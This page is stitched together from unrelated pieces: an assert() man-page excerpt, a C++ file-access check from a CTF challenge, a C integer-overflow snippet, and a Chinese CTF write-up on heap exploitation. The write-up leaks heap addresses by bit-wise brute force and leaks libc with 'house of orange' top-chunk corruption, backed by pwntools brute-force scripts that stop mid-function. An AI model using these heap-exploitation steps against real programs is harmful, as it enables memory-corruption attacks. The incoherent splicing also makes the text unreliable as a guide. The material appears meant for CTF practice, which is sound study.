DESCRIPTION If the macro NDEBUG was defined at the moment <assert.h> was last included, the macro assert() generates no code, and hence does nothing at all. Otherwise, the macro assert() prints an error message to standard error and terminates the program by calling abort(3) if expression is false (i.e., compares equal to zero).
// Open the path, make sure that it's a file (and not e.g. directory), and
// save the file descriptor.
int fd1 = open(path, O_RDONLY);
if (fd1 == -1) {
return false;
}
struct stat st;
if (fstat(fd1, &st) != 0 || !S_ISREG(st.st_mode)) {
return false;
}
globals::records.push_back(fd1);
// Better safe then sorry. Make sure that the path also doesn't point to a
// symbolic link.
int fd2 = open(path, O_RDONLY | O_NOFOLLOW);
if (fd2 == -1) {
printf("[-] Detected attempt to open a symbolic link!\n");
// Some kind of attack detected?
return true;
}
close(fd2);
// Extra check to protect the flag.
if (strstr(path, "flag") != NULL) {
printf("[-] Not today\n");
close(globals::records.back());
globals::records.pop_back();
return false;
}
#include<stdio.h>
#include<math.h>
#include<stdlib.h>
int main()
{
int a = 0x80000000;
printf("%d\n",a);
printf("%#x\n",a^(a>>31)-a>>31);
printf("%#x\n",abs(a));
}
bit by bit 泄露堆地址,同样也是暴力破解。首先破解特定name满足:h2(name)==h3(name) && abs(h1(name))%62==60(和61),这样当a2=a3时,1<<a2|1<<a3就相当于1<<a2,这样就能逐位暴破堆地址了。由于bits数组是DWORD类型的,因此堆地址存放在bits[60]和bits[61]中。Linux系统中规定堆地址为6字节,且最高字节为5x,并且最低1.5字节(12bit)都是从000开始的,因此只需要破解中间的4字节即可。
泄露libc地址。采用的方法是house of orange,修改top的size,得到一个unsorted bin后泄露libc地址。修改top size的方法正如前面所述,先通过位异或修改bit[60]中的堆地址为我们构造好的地址,这个地址作为entry[-2]的首个结点,构造name满足条件,value为top size处的地址,即可通过edit修改top size。这里需要注意的是,修改后的top size需要满足 top end是页对齐的(参考sysmalloc的源码)
from pwn import *
def h1(s):
result = 4919;
for c in s:
result = result * ord(c)+1
return result
def h2(s):
result = 0
i=0
while i+1<len(s) and s[i] and s[i+1] :
tmp = ord(s[i+1])<<8 | ord(s[i])
result ^= tmp
i+=2
if i<len(s) and s[i]:
result ^= ord(s[i])
return ((result>>10) ^ (result ^ (result >> 5))) &0x1f
def h3(s):
result = 0
for c in s:
for i in range(8):
if (ord(c)>>i)&1:
result+=1;
result&=0x1f;
return result;
#破解h1(name)==0x80000000
def brute1():
for i in range(255,0,-1):
print i
for j in range(0,256):
for k in range(0,256):
for l in range(0,256):
tmp = chr(i)+chr(j)+chr(k)+chr(l)
if h1(tmp)%0x100000000 == 0x80000000:
print tmp
print "%d %d %d %d" %(i,j,k,l)
return
#破解h2(name)==h3(name) && abs(h1(name))%62==60(和61)
#i可以从2字节开始逐步增加到4字节
def brute2():
pos={}
for i in range(0x10000):
tmp=p32(i)[:-2]
a2=h2(tmp)
a3=h3(tmp)
if (abs(h1(tmp))%62)==60 and a2==a3:
if not pos.has_key(a2):
pos[a2]=1
print "%d:%#x" %(a2,u32(tmp.ljust(4,'\x00')))